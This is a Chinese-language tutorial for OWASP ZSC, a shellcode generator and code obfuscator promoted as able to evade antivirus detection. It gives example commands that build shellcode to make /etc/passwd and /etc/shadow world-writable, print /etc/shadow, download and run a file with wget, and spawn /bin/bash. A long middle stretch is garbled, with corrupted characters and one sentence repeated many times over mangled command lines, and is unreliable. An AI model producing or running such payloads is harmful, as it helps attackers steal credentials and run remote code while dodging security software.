

#### OWASP ZSC是一款用Python编写的开源软件,它可以帮助你在你的操作系统中生成自定义的Shellcode。

这款软件可以在 Windows/Linux&Unix/OSX以及其他操作系统下运行,前提是,你安装了Python 2.7.x。

## Shellcode的用途

Shellcode可以用于软件开发的payload,还可以用于编写恶意软件、绕过安全防护软件、杀毒软件、代码混淆等。

代码混淆的用途

可以用于绕过杀毒软件、代码保护等。

为什么使用OWASP ZSC?

与其他像metasploit等shellcode产生工具不同,OWASP ZSC使用新的编码和方法,反病毒软件无法检测。

OWASP ZSC的编码可以产生带有随机编码的shellcode,让你立刻获得成于上万中进行同样工作的新的动态的shellcode,这就意味着如果你使用相同的命令行进行随机编码,你得到的代码会不一样。这个优点让OWASP ZSC成为了最受欢迎的工具!另外,在之后的版本中,它产生的shellcode还能用在更多的操作系统中。

## 安装

#### 方法一

进入github下载页:<u>https://github.com/Ali-Razmjoo/OWASP-ZSC</u>进行下载。

运行installer.py , 之后你就可以用"zsc"命令启动这个工具啦 , 当然你也可以在不安装的情况下直接直接执行zsc.py。

#### 方法二

wget https://github.com/Ali-Razmjoo/OWASP-ZSC/archive/master.zip -O owasp-zsc.zip && mzip owasp-zsc.zip && rm -rf owasp-zsc.zip && mv OWASP-ZSC-master owasp-zsc && cd owasp-zsc && python installer.py

- 注:使用uninstaller.py可以卸载这个工具
- 注:软件被安装在 "/usr/share/owasp-zsc" 目录下
- OK,现在开始真正的使用教程

python zsc.py

OWASP ZeroDay Cyber Research Shellcoder

zsc>

# 下面的内容适用于Mac OSX:

输入help:

[+] shellcode generate shellcode

 $[+] \ \, {\it shellcode} {\it `generate} \qquad \quad \, {\it to generate shellcode}$ 

 $[+] \ \, \text{shellcode} \\ \land \text{search for shellcode in shellstorm} \\$ 

[+] obfuscate generate obfuscate code

[+] help show help menu

[+] update check for update

[+] about about owasp zsc

[+] restart the software

[+] version software version

+] exit to exit the software

你是用这些命令时按下"tab"键进行选择。

输入"shellcode"生成shellcode,然后回车。

```
现在你可以输入generate或者search,或者download(生成shellcode、从shell库搜索或下载shellcode)。
搜索shellcode:输入search,然后回车
zsc/shellcode> search
keyword_to_search>
下载shellcode:输入download,然后回车
zsc/shellcode> download
shellcode id>
生成shellcode:输入generate,然后回车
之后按tab键,你可以看到一个可用的操作系统列表。
然后再按一次tab键,你可以看到一些功能,比如 "exec","systm","write"等等,然后你可以选择你想使用的功能,然后回车。
下面,你要使用函数的argv,比如exec("bin/bash"),然后你只需要按下tab,然后回车,软件就会自动获取函数argv了。
填好argv,接下来软件会要求你输入shellcode类型,你可以写"none"或者选择上面编码类型的一个。输入,然后你的shellcode就准备好了。
还有一个方式获得shellcode就是使用sheestorm API。
输入shellcode后输入search搜索一个shellcode。你只用输入shellcode的名字、ID等信息就可以获得一个sheecode列表,然后你可以在shellcode之后输入do
wnload下载shellcode。你可以使用restart命令来重启软件并开始新的任务。
生成混淆代码
使用obfuscate命令,你可以开始进行代码混淆。同样,使用tab键,你可以看到一列已经可以进行代码混淆的语言。之后选择一种语言,软件会要求你输入文件
名,这个文件就是你想要进行代码混淆的文件。接下来软件会要求你选择编码类型。还是tab键,你可以看到编码模块。然后轩儿编码类型,你就能获得被重写并
转成你选择的编码类型的混淆代码了。别担心,你的源码其实还在文件里。
其他命令
help: 显示帮助菜单
update: 检查更新
about: 关于owasp zsc
restart: 重启软件
version: 软件版本
exit: 退出
如果你是用的是Linux kali,并且你是用的是1.0.6版本的ZSC那你需要下面的简易教程:
Switches:
-h. --h. -help. --help => to see this help guide
-os => choose your os to create shellcode
-oslist => list os for switch -os
-o => output filename
-job => what shellcode gonna do for you ?
-joblist => list of -job switch
-encode => generate shellcode with encode
-types => types of encode for -encode switch
-wizard => wizard mod
-update => check for update
-about => about software and developers.
通过这些switch,你可以看到系统列表、编码类型和函数[joblist]来生成你的shellcode。
支持操作系统列表 "-oslist"
[+] linux_x86
[+] linux_x64
[+] linux arm
[+] linux_mips
[+] freebsd_x86
[+] freebsd x64
[+] windows_x86
[+] windows x64
[+] solaris x86
[+] solaris_x64
```

支持编码类型 "-types"

[+] none
[+] xor\_random

[+] xor_yourvalue
[+] add_random
[+] add_yourvalue
[+] sub_random
[+] sub_yourvalue
[+] inc
[+] inc_timesyouwant
[+] dec
[+] dec_timesyouwant
[+] mix_all
支持函数 "-joblist"
[+] exec('/path/file')
[+] chmod('/path/file','permission number')
[+] write('/path/file','text to write')
[+] file_create('/path/file','text to write')
[+] dir_create('/path/folder')
[+] download('url','filename')
[+] download_execute('url','filename','command to execute')
[+] system('command to execute')
[+] script_executor('name of script','path and name of your script in your pc','execute command')
现在,你可以选择你所用的系统、函数和编码类型来生成你的shellcode了。但是现在其实没有启动所有功能,所以你要查看这个表,看看哪些功能被启用了、哪些没有。
OS Excodes Functions: less chored write file create der create download download oxecute system script executor noise
0
frau_sh6
Inc.   Interspection   Inc.   O   O   O   O   O   O   O   O   O
举个例子,这个表格会告诉我们linux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_
举个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] 智能开chmod()函数使用。
举个例子,这个表格会告诉我们linux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod()函数使用。 <b>示例</b>
举个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] 智能开chmod()函数使用。 <b>示例</b> >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd', '777')" -o file
半个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod()函数使用。  >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file
半个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc_inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod()函数使用。  >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode inc_l0 -job "chmod('/etc/passwd','777')" -o file
半个例子,这个表格会告诉我们linux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod() 函数使用。  >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file
半个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc_inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod()函数使用。  >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode inc_l0 -job "chmod('/etc/passwd','777')" -o file
半个例子,这个表格会告诉我们linux_x86上的所有功能都已经被启动了,但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod() 函数使用。  >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file
学个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是ixor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod(函数使用.    ***********************************
#个例子,这个表格会告诉我们Jinux_x86上的所有功能都已经被启动了,但是txor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod问函数使用。  >zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file  >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','777')" -o file.txt
#个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是ixor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod(函数使用.    ***********************************
#个例子,这个表格会告诉我们Jinux_x86上的所有功能都已经被启动了,但是txor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod问函数使用。    ***********************************
#个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是ixor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod() 整数使用。  ***********************************
#个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是xor_random_xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] 智能开chmod()函数使用。    ***********************************
学个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是Nor_random,xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant) 智能开chmod()函数使用,    ***********************************
学个男子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] 智能开chmodO函数使用, <b>示例</b> // ***Zasc = 0.5 limux_x86 = encode inc = job "chmod('/etc/passwd', '777')" = 0 file  // **Zasc = 0.5 limux_x86 = encode dec = job "chmod('/etc/passwd', '777')" = 0 file  // **Zasc = 0.5 limux_x86 = encode dec_30 = job "chmod('/etc/passwd', '777')" = 0 file  // **Zasc = 0.5 limux_x86 = encode xor_random = job "chmod('/etc/passwd', '777')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode xor_random = job "chmod('/etc/passwd', '444')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode xor_0x41414141 = job "chmod('/etc/passwd', '444')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode xor_0x41414141 = job "chmod('/etc/passwd', '444')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode add_random = job "chmod('/etc/passwd', '444')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode add_random = job "chmod('/etc/passwd', '444')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode add_random = job "chmod('/etc/passwd', '777')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode add_random = job "chmod('/etc/passwd', '777')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode sub_0x41414141 = job "chmod('/etc/passwd', '777')" = 0 file. txt  // **Zasc = 0.5 limux_x86 = encode sub_0x41414141 = job "chmod('/etc/passwd', '777')" = 0 file. txt
等个例子,这个表格会告诉我们inux_x86上的所有功能都已经被启动了,但是xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc., timesyouwant, dec, dec_timesyouwant] 智能开chmodo函数使用。 <b>示例</b> // ***Zasc = cos_limux_x86 = concode_inc_job_"chmod('/etc/passwd','777')" = o_file  // **Zasc = cos_limux_x86 = concode_dec_job_"chmod('/etc/passwd','777')" = o_file  // **Zasc = cos_limux_x86 = concode_dec_job_"chmod('/etc/passwd','777')" = o_file  // **Zasc = cos_limux_x86 = concode_dec_job_"chmod('/etc/passwd','777')" = o_file_txt  // **Zasc = cos_limux_x86 = concode_xor_random_job_"chmod('/etc/passwd','444')" = o_file_txt  // **Zasc = cos_limux_x86 = concode_xor_oxilididididididididididididididididididi
学个例子,这个表格会告诉我们linux_x86 _encode inc_job "chmod('/etc/passwd','777')" -o file  Zzzc -os linux_x86 -encode inc_job "chmod('/etc/passwd','777')" -o file  Zzzc -os linux_x86 -encode dec_job "chmod('/etc/passwd','777')" -o file  Zzzc -os linux_x86 -encode xor_random_job "chmod('/etc/passwd','777')" -o file_txt  Zzzc -os linux_x86 -encode xor_vald14141 -job "chmod('/etc/passwd','444')" -o file_txt  Zzzc -os linux_x86 -encode xor_ox45872f4d -job "chmod('/etc/passwd','444')" -o file_txt  Zzzc -os linux_x86 -encode add_ox41414141 -job "chmod('/etc/passwd','444')" -o file_txt  Zzzc -os linux_x86 -encode add_ox40x414141 -job "chmod('/etc/passwd','777')" -o file_txt  Zzzc -os linux_x86 -encode add_ox40x414141 -job "chmod('/etc/passwd','777')" -o file_txt  Zzzc -os linux_x86 -encode add_ox40x414141 -job "chmod('/etc/passwd','777')" -o file_txt  Zzzc -os linux_x86 -encode add_ox40x41414141 -job "chmod('/etc/passwd','777')" -o file_txt  Zzzc -os linux_x86 -encode none -job "file_create('/root/besktop/hello_txt','hello')" -o file_txt  Zzzc -os linux_x86 -encode none -job "file_create('/root/besktop/hello_txt','hello')" -o file_txt
学个例子,这个表格会告诉我们inux_x86 _encode inc _job "chmod('/etc/passwd','777')" -o file  Zzzc -os limux_x86 _encode dec _job "chmod('/etc/passwd','777')" -o file  Zzzc -os limux_x86 _encode dec _job "chmod('/etc/passwd','777')" -o file  Zzzc -os limux_x86 _encode dec _job "chmod('/etc/passwd','777')" -o file  Zzzc -os limux_x86 _encode dec _job "chmod('/etc/passwd','777')" -o file  Zzzc -os limux_x86 _encode dec _job "chmod('/etc/passwd','777')" -o file  Zzzc -os limux_x86 _encode zor_random _job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 _encode zor_0x1414141 -job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 _encode zor_0x1414141 -job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 _encode zor_0x1414141 -job "chmod('/etc/passwd','744')" -o file txt  Zzzc -os limux_x86 =encode add_xandom_job "chmod('/etc/passwd','744')" -o file txt  Zzzc -os limux_x86 =encode add_xandom_job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 =encode sub_random_job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 =encode sub_vandom_job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 =encode sub_vandom_job "chmod('/etc/passwd','777')" -o file txt  Zzzc -os limux_x86 =encode nome_job "file_create('/root/Desktop/hellot_txt','hello')" -o file_txt  Zzzc -os limux_x86 =encode nome_job "file_create('/root/Desktop/hellot_txt','hello')" -o file_txt  Zzzc -os limux_x86 =encode nome_job "file_create('/root/Desktop/hellot_txt','hello')" -o file_txt
#/^例子,这个表格会告诉我问mux_86_E的所有功能部已经被启动了,但是kor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc_timesyouwant_dec_dec_timesyouwant_l智能开ehmod()最被用.  示例  2zec ros limux_388 rencode inc rjob "chmod("/etc/passwd',"777")" ro file  2zec ros limux_388 rencode dec_job "chmod("/etc/passwd',"777")" ro file  2zec ros limux_388 rencode dec_job "chmod("/etc/passwd',"777")" ro file  2zec ros limux_388 rencode dec_job "chmod("/etc/passwd',"777")" ro file  2zec ros limux_388 rencode xor_random rjob "chmod("/etc/passwd',"777")" ro file.txt  2zec ros limux_388 rencode xor_swds972fdd rjob "chmod("/etc/passwd',"444")" ro file.txt  2zec ros limux_388 rencode xor_swds972fdd rjob "chmod("/etc/passwd',"444")" ro file.txt  2zec ros limux_388 rencode add_swilni4141 rjob "chmod("/etc/passwd',"444")" ro file.txt  2zec ros limux_388 rencode add_swilni4141 rjob "chmod("/etc/passwd',"777")" ro file.txt  2zec ros limux_388 rencode sub_swilni4141 rjob "chmod("/etc/passwd',"777")" ro file.txt  2zec ros limux_388 rencode sub_swilni4141 rjob "chmod("/etc/passwd',"777")" ro file.txt  2zec ros limux_388 rencode none rjob "file_create("/root/Desktop/hellot_txt', 'hellof')" ro file.txt  2zec ros limux_388 rencode none rjob "file_create("/root/Desktop/hellot_txt', 'hellof')" ro file.txt  2zec ros limux_388 rencode none rjob "file_create("/root/Desktop/hellot_txt', 'hellof')" ro file.txt  2zec ros limux_388 rencode none rjob "dir_create("/root/Desktop/hellot_txt', 'hellof')" ro file.txt
#个例子,这个影搭金管彩视问mx_86LebS所有功能能已经被运动了,但是korrandom, xoryourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc_timesyouwant_dec_dec_timesyouwant_智能并不由odO感效使用。  ***********************************
等分子 7. 注入を搭合合物発知道mux.88上部所用加速を記載返記了、但是kor.random, xor.yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc_timesyouwant_dec, dec_timesyouwant_dec, dec_timesyouwant_dec_timesyouwan
#予号子、这个卷格会管导现间加工或6.上的特別的图已经被压动了,他是Dor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, timesyouwant, dec, dec_timesyouwant 智能开作modo@微微镜。  **********************************

>zsc -os linux\_x86 -encode none -job "system('ls')" -o file.txt

```
>zsc -os linux x86 -encode none -job "system('ls[space]-la')" -o file.txt
```

>zsc -os linux\_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt

>zsc -os linux\_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt

>zsc -os linux\_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt

>zsc -os linux\_x86 -encode none -job "exec('/bin/bash')" -o file.txt

提示:不要再system()函数中使用",用"[space] "代替,软件会在shellcode里检测并把它替换成""。

script\_executor(),download\_execute(),download(),dir\_create(),file\_create()使用linux命令行,而不是函数。

[wget,mkdir,echo] system()函数会被增加到脚本中,你可以尽情使用他们并生成任何命令行shellcode。

提示:exec()不支持任何ARGV、exec( '/bin/bash -c ls' )或者( '/bin/bash' , '-c' ,'ls' ) , 很可惜 , 下个版本才支持这种操作。

提示:你还可以对inc time和dec time使用high value,比如inc\_100000,但是这样的话,你的shellcode可能会变得很大。

提示:你每次执行chmod()或其他可以随机编码的函数,你可能会得到随机输出和不一样的shellcode。

提示:异或操作可以做所有事!比如: "xor\_0x41414141" 和 "xor\_0x45872f4d"。

## **Wizard Switch**

使用-wizard switch,你就能在不使用长ARGV的情况下产生shellcode了,软件将会要求你输入信息。

提示:当你使用 -wizard switch时,如果你按了回车,但是没有反应,在varible里将会设置默认值。

提示:进入"list",你就可以看到所有值的列表了。

为了防止你们再说小编我不负责任,再丢一个官方视频:<u>http://zsc.z3r0d4y.com/blog/2015/07/27/video-how-to-install-and-generate-shellcode-using-z</u>